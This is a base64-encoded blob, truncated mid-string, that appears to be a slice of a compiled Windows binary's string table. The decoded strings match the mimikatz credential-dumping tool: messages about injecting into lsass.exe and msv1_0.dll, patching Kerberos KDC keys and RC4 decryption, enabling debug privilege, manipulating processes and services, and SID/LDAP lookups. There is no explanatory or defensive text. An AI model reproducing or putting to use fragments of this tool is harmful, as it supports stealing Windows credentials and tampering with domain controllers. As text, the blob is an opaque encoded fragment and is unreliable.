AAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AZwBlAG4AZQByAGkAYwBfAG4AbwBnAHAAbwBfAHAAYQB0AGMAaAAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABmb3BlbgAAAGZ3cHJpbnRmAAAAAGZjbG9zZQAAbABzAGEAcwBzAC4AZQB4AGUAAABtAHMAdgAxAF8AMAAuAGQAbABsAAAAAABJAG4AagBlAGMAdABlAGQAIAA9ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAALQAgAFQAcgBhAG0AcABvAGwAaQBuAGUAIABuADAAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBDAG8AZABlAFcAaQB0AHQAaABQAGEAdAB0AGUAcgBuAFIAZQBwAGwAYQBjAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgAC0AIABUAHIAYQBtAHAAbwBsAGkAbgBlACAAbgAxACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgAC0AIAByAGUAYQBsACAAYQBzAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAHMAZQBhAHIAYwBoACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABQAHIAbwBjAGUAcwBzAEkAZABGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAABMb2NhbEFsbG9jAABsAGUAdABhAGUAcwAAAAAAawBkAGMAcwB2AGMALgBkAGwAbAAAAAAAWwBLAEQAQwBdACAAZABhAHQAYQAKAAAAWwBLAEQAQwBdACAAcwB0AHIAdQBjAHQACgAAAFsASwBEAEMAXQAgAGsAZQB5AHMAIABwAGEAdABjAGgAIABPAEsACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAawBlAGwAZQB0AG8AbgAgADsAIABTAGUAYwBvAG4AZAAgAHAAYQB0AHQAZQByAG4AIABuAG8AdAAgAGYAbwB1AG4AZAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGsAZQBsAGUAdABvAG4AIAA7ACAARgBpAHIAcwB0ACAAcABhAHQAdABlAHIAbgAgAG4AbwB0ACAAZgBvAHUAbgBkAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBrAGUAbABlAHQAbwBuACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAGMAcgB5AHAAdABkAGwAbAAuAGQAbABsAAAAAABbAFIAQwA0AF0AIABmAHUAbgBjAHQAaQBvAG4AcwAKAAAAAABbAFIAQwA0AF0AIABpAG4AaQB0ACAAcABhAHQAYwBoACAATwBLAAoAAAAAAFsAUgBDADQAXQAgAGQAZQBjAHIAeQBwAHQAIABwAGEAdABjAGgAIABPAEsACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGsAZQBsAGUAdABvAG4AIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABjAHIAZQBhAHQAZQAgAHIAZQBtAG8AdABlACAAZgB1AG4AYwB0AGkAbwBuAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAawBlAGwAZQB0AG8AbgAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAVQBzAGkAbgBnACAAJwAlAHMAJwAgAGEAcwAgAGkAbgBwAHUAdAAgAGYAaQBsAGUACgAAACAAKgAgAE8AcgBpAGcAaQBuAGEAbAAgAHMAaQB6AGUAIAAgADoAIAAlAHUACgAAAG0AaQBtAGkAawBhAHQAegBfAHgAOAA2AC4AYwBvAG0AcAByAGUAcwBzAGUAZAAAAAAAAAAgACoAIABDAG8AbQBwAHIAZQBzAHMAZQBkACAAcwBpAHoAZQA6ACAAJQB1ACAAKAAlAC4AMgBmACUAJQApAAoAVQBzAGkAbgBnACAAJwAlAHMAJwAgAGEAcwAgAG8AdQB0AHAAdQB0ACAAZgBpAGwAZQAuAC4ALgAgAAAATwBLACEACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AYwBvAG0AcAByAGUAcwBzAG0AZQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABnAHIAbwB1AHAAAABsAG8AYwBhAGwAZwByAG8AdQBwAAAAAABuAGUAdAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBPAHAAZQBuAEQAbwBtAGEAaQBuACAAQgB1AGkAbAB0AGkAbgAgACgAPwApACAAJQAwADgAeAAKAAAACgBEAG8AbQBhAGkAbgAgAG4AYQBtAGUAIAA6ACAAJQB3AFoAAAAAAAoARABvAG0AYQBpAG4AIABTAEkARAAgACAAOgAgAAAACgAgACUALQA1AHUAIAAlAHcAWgAAAAAACgAgAHwAIAAlAC0ANQB1ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ATABvAG8AawB1AHAASQBkAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBHAGUAdABHAHIAbwB1AHAAcwBGAG8AcgBVAHMAZQByACAAJQAwADgAeAAAAAAACgAgAHwAYAAlAC0ANQB1ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBHAGUAdABBAGwAaQBhAHMATQBlAG0AYgBlAHIAcwBoAGkAcAAgACUAMAA4AHgAAAAAAAoAIAB8ALQAJQAtADUAdQAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAFIAaQBkAFQAbwBTAGkAZAAgACUAMAA4AHgAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBPAHAAZQBuAFUAcwBlAHIAIAAlADAAOAB4AAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ARQBuAHUAbQBlAHIAYQB0AGUAVQBzAGUAcgBzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABEAG8AbQBhAGkAbgBJAG4AUwBhAG0AUwBlAHIAdgBlAHIAIAAlADAAOAB4AAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ARQBuAHUAbQBlAHIAYQB0AGUARABvAG0AYQBpAG4AcwBJAG4AUwBhAG0AUwBlAHIAdgBlAHIAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBDAG8AbgBuAGUAYwB0ACAAJQAwADgAeAAKAAAAAABBAHMAawAgAGEAIABwAHIAaQB2AGkAbABlAGcAZQAgAGIAeQAgAGkAdABzACAAbgBhAG0AZQAAAEEAcwBrACAAYQAgAHAAcgBpAHYAaQBsAGUAZwBlACAAYgB5ACAAaQB0AHMAIABpAGQAAABBAHMAawAgAHMAeQBzAHQAZQBtACAAZQBuAHYAaQByAG8AbgBtAGUAbgB0ACAAcAByAGkAdgBpAGwAZQBnAGUAAAAAAHMAeQBzAGUAbgB2AAAAAABBAHMAawAgAHIAZQBzAHQAbwByAGUAIABwAHIAaQB2AGkAbABlAGcAZQAAAHIAZQBzAHQAbwByAGUAAABBAHMAawAgAGIAYQBjAGsAdQBwACAAcAByAGkAdgBpAGwAZQBnAGUAAAAAAGIAYQBjAGsAdQBwAAAAAABBAHMAawAgAHQAYwBiACAAcAByAGkAdgBpAGwAZQBnAGUAAAB0AGMAYgAAAEEAcwBrACAAcwBlAGMAdQByAGkAdAB5ACAAcAByAGkAdgBpAGwAZQBnAGUAAAAAAHMAZQBjAHUAcgBpAHQAeQAAAAAAQQBzAGsAIABsAG8AYQBkACAAZAByAGkAdgBlAHIAIABwAHIAaQB2AGkAbABlAGcAZQAAAGQAcgBpAHYAZQByAAAAAABBAHMAawAgAGQAZQBiAHUAZwAgAHAAcgBpAHYAaQBsAGUAZwBlAAAAZABlAGIAdQBnAAAAUAByAGkAdgBpAGwAZQBnAGUAIABtAG8AZAB1AGwAZQAAAAAAcAByAGkAdgBpAGwAZQBnAGUAAABQAHIAaQB2AGkAbABlAGcAZQAgACcAJQB1ACcAIABPAEsACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAGkAdgBpAGwAZQBnAGUAXwBzAGkAbQBwAGwAZQAgADsAIABSAHQAbABBAGQAagB1AHMAdABQAHIAaQB2AGkAbABlAGcAZQAgACgAJQB1ACkAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAaQB2AGkAbABlAGcAZQBfAGkAZAAgADsAIABNAGkAcwBzAGkAbgBnACAAJwBpAGQAJwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAGkAdgBpAGwAZQBnAGUAXwBuAGEAbQBlACAAOwAgAEwAVQBJAEQAIABoAGkAZwBoACAAcABhAHIAdAAgAGkAcwAgACUAdQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAaQB2AGkAbABlAGcAZQBfAG4AYQBtAGUAIAA7ACAATABvAG8AawB1AHAAUAByAGkAdgBpAGwAZQBnAGUAVgBhAGwAdQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBpAHYAaQBsAGUAZwBlAF8AbgBhAG0AZQAgADsAIABNAGkAcwBzAGkAbgBnACAAJwBuAGEAbQBlACcACgAAAFIAZQBzAHUAbQBlACAAYQAgAHAAcgBvAGMAZQBzAHMAAAAAAHIAZQBzAHUAbQBlAAAAAABTAHUAcwBwAGUAbgBkACAAYQAgAHAAcgBvAGMAZQBzAHMAAABzAHUAcwBwAGUAbgBkAAAAVABlAHIAbQBpAG4AYQB0AGUAIABhACAAcAByAG8AYwBlAHMAcwAAAHMAdABvAHAAAAAAAFMAdABhAHIAdAAgAGEAIABwAHIAbwBjAGUAcwBzAAAAcwB0AGEAcgB0AAAATABpAHMAdAAgAGkAbQBwAG8AcgB0AHMAAAAAAGkAbQBwAG8AcgB0AHMAAABMAGkAcwB0ACAAZQB4AHAAbwByAHQAcwAAAAAAZQB4AHAAbwByAHQAcwAAAFAAcgBvAGMAZQBzAHMAIABtAG8AZAB1AGwAZQAAAAAAVAByAHkAaQBuAGcAIAB0AG8AIABzAHQAYQByAHQAIAAiACUAcwAiACAAOgAgAAAATwBLACAAIQAgACgAUABJAEQAIAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AcwB0AGEAcgB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGMAcgBlAGEAdABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAE4AdABUAGUAcgBtAGkAbgBhAHQAZQBQAHIAbwBjAGUAcwBzAAAAAABOAHQAUwB1AHMAcABlAG4AZABQAHIAbwBjAGUAcwBzAAAAAABOAHQAUgBlAHMAdQBtAGUAUAByAG8AYwBlAHMAcwAAACUAcwAgAG8AZgAgACUAdQAgAFAASQBEACAAOgAgAE8ASwAgACEACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQBuAGUAcgBpAGMATwBwAGUAcgBhAHQAaQBvAG4AIAA7ACAAJQBzACAAMAB4ACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAG4AZQByAGkAYwBPAHAAZQByAGEAdABpAG8AbgAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAbgBlAHIAaQBjAE8AcABlAHIAYQB0AGkAbwBuACAAOwAgAHAAaQBkACAAKAAvAHAAaQBkADoAMQAyADMAKQAgAGkAcwAgAG0AaQBzAHMAaQBuAGcAAAAlAHUACQAlAHcAWgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGMAYQBsAGwAYgBhAGMAawBQAHIAbwBjAGUAcwBzACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AYwBhAGwAbABiAGEAYwBrAFAAcgBvAGMAZQBzAHMAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAG8AcABlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAoAJQB3AFoAAAAAAAoACQAlAHAAIAAtAD4AIAAlAHUAAAAAAAkAJQB1AAAACQAgAAAAAAAJACUAcAAAAAkAJQBTAAAACQAtAD4AIAAlAFMAAAAAAAoACQAlAHAAIAAtAD4AIAAlAHAACQAlAFMAIAAhACAAAAAAACUAUwAAAAAAIwAlAHUAAABMAGkAcwB0ACAAcwBlAHIAdgBpAGMAZQBzAAAAUwBoAHUAdABkAG8AdwBuACAAcwBlAHIAdgBpAGMAZQAAAAAAcwBoAHUAdABkAG8AdwBuAAAAAABQAHIAZQBzAGgAdQB0AGQAbwB3AG4AIABzAGUAcgB2AGkAYwBlAAAAcAByAGUAcwBoAHUAdABkAG8AdwBuAAAAUgBlAHMAdQBtAGUAIABzAGUAcgB2AGkAYwBlAAAAAABTAHUAcwBwAGUAbgBkACAAcwBlAHIAdgBpAGMAZQAAAFMAdABvAHAAIABzAGUAcgB2AGkAYwBlAAAAAABSAGUAbQBvAHYAZQAgAHMAZQByAHYAaQBjAGUAAAAAAFMAdABhAHIAdAAgAHMAZQByAHYAaQBjAGUAAABTAGUAcgB2AGkAYwBlACAAbQBvAGQAdQBsAGUAAAAAACUAcwAgACcAJQBzACcAIABzAGUAcgB2AGkAYwBlACAAOgAgAAAAAAAAAAAARQBSAFIATwBSACAAZwBlAG4AZQByAGkAYwBGAHUAbgBjAHQAaQBvAG4AIAA7ACAAUwBlAHIAdgBpAGMAZQAgAG8AcABlAHIAYQB0AGkAbwBuACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABnAGUAbgBlAHIAaQBjAEYAdQBuAGMAdABpAG8AbgAgADsAIABJAG4AagBlAGMAdAAgAG4AbwB0ACAAYQB2AGEAaQBsAGEAYgBsAGUACgAAAAAAAABFAFIAUgBPAFIAIABnAGUAbgBlAHIAaQBjAEYAdQBuAGMAdABpAG8AbgAgADsAIABNAGkAcwBzAGkAbgBnACAAcwBlAHIAdgBpAGMAZQAgAG4AYQBtAGUAIABhAHIAZwB1AG0AZQBuAHQACgAAAAAAUwB0AGEAcgB0AGkAbgBnAAAAAABSAGUAbQBvAHYAaQBuAGcAAAAAAFMAdABvAHAAcABpAG4AZwAAAAAAUwB1AHMAcABlAG4AZABpAG4AZwAAAAAAUgBlAHMAdQBtAGkAbgBnAAAAAABQAHIAZQBzAGgAdQB0AGQAbwB3AG4AAABTAGgAdQB0AGQAbwB3AG4AAAAAAHMAZQByAHYAaQBjAGUAcwAuAGUAeABlAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AcwBlAHIAdgBpAGMAZQBfAHMAZQBuAGQAYwBvAG4AdAByAG8AbABfAGkAbgBwAHIAbwBjAGUAcwBzACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBzAGUAYQByAGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAZQByAHIAbwByACAAJQB1AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AcwBlAHIAdgBpAGMAZQBfAHMAZQBuAGQAYwBvAG4AdAByAG8AbABfAGkAbgBwAHIAbwBjAGUAcwBzACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBjAHIAZQBhAHQAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAHMAZQByAHYAaQBjAGUAXwBzAGUAbgBkAGMAbwBuAHQAcgBvAGwAXwBpAG4AcAByAG8AYwBlAHMAcwAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AcwBlAHIAdgBpAGMAZQBfAHMAZQBuAGQAYwBvAG4AdAByAG8AbABfAGkAbgBwAHIAbwBjAGUAcwBzACAAOwAgAE4AbwB0ACAAYQB2AGEAaQBsAGEAYgBsAGUAIAB3AGkAdABoAG8AdQB0ACAAUwBjAFMAZQBuAGQAQwBvAG4AdAByAG8AbAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAHMAZQByAHYAaQBjAGUAXwBzAGUAbgBkAGMAbwBuAHQAcgBvAGwAXwBpAG4AcAByAG8AYwBlAHMAcwAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAUQB1AGUAcgB5ACAAbwBiAGoAZQBjAHQAIABiAHkAIABTAEkARAAgAG8AcgAgAG4AYQBtAGUAAABxAHUAZQByAHkAAABOAGEAbQBlACAAbwByACAAUwBJAEQAIABsAG8AbwBrAHUAcAAAAAAAbABvAG8AawB1AHAAAAAAAFMAZQBjAHUAcgBpAHQAeQAgAEkAZABlAG4AdABpAGYAaQBlAHIAcwAgAG0AbwBkAHUAbABlAAAAUwBJAEQAIAAgACAAOgAgACUAcwAKAAAAVAB5AHAAZQAgACAAOgAgACUAcwAKAEQAbwBtAGEAaQBuADoAIAAlAHMACgBOAGEAbQBlACAAIAA6ACAAJQBzAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAGwAbwBvAGsAdQBwACAAOwAgAGsAdQBsAGwAXwBtAF8AdABvAGsAZQBuAF8AZwBlAHQATgBhAG0AZQBEAG8AbQBhAGkAbgBGAHIAbwBtAFMASQBEACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAGwAbwBvAGsAdQBwACAAOwAgAEkAbgB2AGEAbABpAGQAIABTAEkARAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AbABvAG8AawB1AHAAIAA7ACAAQwBvAG4AdgBlAHIAdABTAHQAcgBpAG4AZwBTAGkAZABUAG8AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAE4AYQBtAGUAIAAgADoAIAAlAHMACgAAAFQAeQBwAGUAIAAgADoAIAAlAHMACgBEAG8AbQBhAGkAbgA6ACAAJQBzAAoAUwBJAEQAIAAgACAAOgAgAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAGwAbwBvAGsAdQBwACAAOwAgAGsAdQBsAGwAXwBtAF8AdABvAGsAZQBuAF8AZwBlAHQAUwBpAGQARABvAG0AYQBpAG4ARgByAG8AbQBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAGwAbwBvAGsAdQBwACAAOwAgAC8AcwBpAGQAIABvAHIAIAAvAG4AYQBtAGUAIABpAHMAIABtAGkAcwBzAGkAbgBnAAoAAAAKACUAcwAKAAAAAAAgACAAJQBzADoAIAAAAAAAcwBBAE0AQQBjAGMAbwB1AG4AdABOAGEAbQBlAAAAAAAlACoAUwAKAAAAAABvAGIAagBlAGMAdABTAGkAZAAAAG8AYgBqAGUAYwB0AEcAVQBJAEQAAAAAAAoAIAAgACAAWwAlAHUAXQAgAAAAcwBJAEQASABpAHMAdABvAHIAeQAAAAAAIAAoACAAJQBzACAALQAtACAAJQBzAFwAJQBzACAAKQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBxAHUAaQBjAGsAUwBlAGEAcgBjAGgAIAA7ACAATgBvACAAcgBlAHMAdQBsAHQAIQAgAC0AIABmAGkAbAB0AGUAcgAgAHcAYQBzACAAJwAlAHMAJwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAHEAdQBpAGMAawBTAGUAYQByAGMAaAAgADsAIABsAGQAYQBwAF8AcwBlAGEAcgBjAGgAXwBzACAAMAB4ACUAeAAgACgAJQB1ACkACgAAACgAcwBBAE0AQQBjAGMAbwB1AG4AdABOAGEAbQBlAD0AJQBzACkAAAAoAG8AYgBqAGUAYwB0AFMAaQBkAD0AAABcACUAMAAyAHgAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAGYAaQBsAHQAZQByAEYAcgBvAG0AQQByAGcAcwAgADsAIABJAG4AdgBhAGwAaQBkACAAUwBJAEQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAGYAaQBsAHQAZQByAEYAcgBvAG0AQQByAGcAcwAgADsAIABDAG8AbgB2AGUAcgB0AFMAdAByAGkAbgBnAFMAaQBkAFQAbwBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBmAGkAbAB0AGUAcgBGAHIAbwBtAEEAcgBnAHMAIAA7ACAALwBzAGEAbQAgAG8AcgAgAC8AcwBpAGQAIAB0AG8AIAB0AGEAcgBnAGUAdAAgAHQAaABlACAAYQBjAGMAbwB1AG4AdAAgAGkAcwAgAG4AZQBlAGQAZQBkAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AZwBlAHQATABkAGEAcABBAG4AZABSAG8AbwB0AEQATgAgADsAIABsAGQAYQBwAF8AYgBpAG4AZABfAHMAIAAwAHgAJQB4ACAAKAAlAHUAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AZwBlAHQATABkAGEAcABBAG4AZABSAG8AbwB0AEQATgAgADsAIABsAGQAYQBwAF8AaQBuAGkAdAAKAAAAAAByAG8AbwB0AEQAbwBtAGEAaQBuAE4AYQBtAGkAbgBnAEMAbwBuAHQAZQB4AHQAAAAoAGQAbgA9AFIAbwBvAHQARABTAEUAKQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBnAGUAdABSAG8AbwB0AEQAbwBtAGEAaQBuAE4AYQBtAGkAbgBnAEMAbwBuAHQAZQB4AHQAIAA7ACAAbABkAGEAcABfAGcAZQB0AF8AdgBhAGwAdQBlAHMAXwBsAGUAbgAgAGkAcwAgAE4ATwBUACAAMQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAGcAZQB0AFIAbwBvAHQARABvAG0AYQBpAG4ATgBhAG0AaQBuAGcAQwBvAG4AdABlAHgAdAAgADsAIABsAGQAYQBwAF8AYwBvAHUAbgB0AF8AZQBuAHQAcgBpAGUAcwAgAGkAcwAgAE4ATwBUACAAMQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AZwBlAHQAUgBvAG8AdABEAG8AbQBhAGkAbgBOAGEAbQBpAG4AZwBDAG8AbgB0AGUAeAB0ACAAOwAgAGwAZABhAHAAXwBzAGUAYQByAGMAaABfAHMAIAAwAHgAJQB4ACAAKAAlAHUAKQAKAAAAAABNAGEAcgBrACAAYQBiAG8AdQB0ACAAUAB0AEgAAAAAAG0AYQByAGsAcgB1AHMAcwAAAAAAAAAAAEMAaABhAG4AZwBlACAAbwByACAAZABpAHMAcABsAGEAeQAgAGMAdQByAHIAZQBuAHQAIABkAGkAcgBlAGMAdABvAHIAeQAAAGMAZAAAAAAARABpAHMAcABsAGEAeQAgAHMAbwBtAGUAIAB2AGUAcgBzAGkAbwBuACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAHMAAAB2AGUAcgBzAGkAbwBuAAAAAAAAAFMAdwBpAHQAYwBoACAAZgBpAGwAZQAgAG8AdQB0AHAAdQB0AC8AYgBhAHMAZQA2ADQAIABvAHUAdABwAHUAdAAAAAAAYgBhAHMAZQA2ADQAAAAAAAAAAABMAG8AZwAgAG0AaQBtAGkAawBhAHQAegAgAGkAbgBwAHUAdAAvAG8AdQB0AHAAdQB0ACAAdABvACAAZgBpAGwAZQAAAAAAAABTAGwAZQBlAHAAIABhAG4AIABhAG0AbwB1AG4AdAAgAG8AZgAgAG0AaQBsAGwAaQBzAGUAYwBvAG4AZABzAAAAcwBsAGUAZQBwAAAAUABsAGUAYQBzAGUALAAgAG0AYQBrAGUAIABtAGUAIABhACAAYwBvAGYAZgBlAGUAIQAAAGMAbwBmAGYAZQBlAAAAAABBAG4AcwB3AGUAcgAgAHQAbwAgAHQAaABlACAAVQBsAHQAaQBtAGEAdABlACAAUQB1AGUAcwB0AGkAbwBuACAAbwBmACAATABpAGYAZQAsACAAdABoAGUAIABVAG4AaQB2AGUAcgBzAGUALAAgAGEAbgBkACAARQB2AGUAcgB5AHQAaABpAG4AZwAAAGEAbgBzAHcAZQByAAAAAAAAAAAAQwBsAGUAYQByACAAcwBjAHIAZQBlAG4AIAAoAGQAbwBlAHMAbgAnAHQAIAB3AG8AcgBrACAAdwBpAHQAaAAgAHIAZQBkAGkAcgBlAGMAdABpAG8AbgBzACwAIABsAGkAawBlACAAUABzAEUAeABlAGMAKQAAAAAAYwBsAHMAAABRAHUAaQB0ACAAbQBpAG0AaQBrAGEAdAB6AAAAZQB4AGkAdAAAAAAAQgBhAHMAaQBjACAAYwBvAG0AbQBhAG4AZABzACAAKABkAG8AZQBzACAAbgBvAHQAIAByAGUAcQB1AGkAcgBlACAAbQBvAGQAdQBsAGUAIABuAGEAbQBlACkAAABTAHQAYQBuAGQAYQByAGQAIABtAG8AZAB1AGwAZQAAAHMAdABhAG4AZABhAHIAZAAAAAAAQgB5AGUAIQAKAAAANAAyAC4ACgAAAAAACgAgACAAIAAgACgAI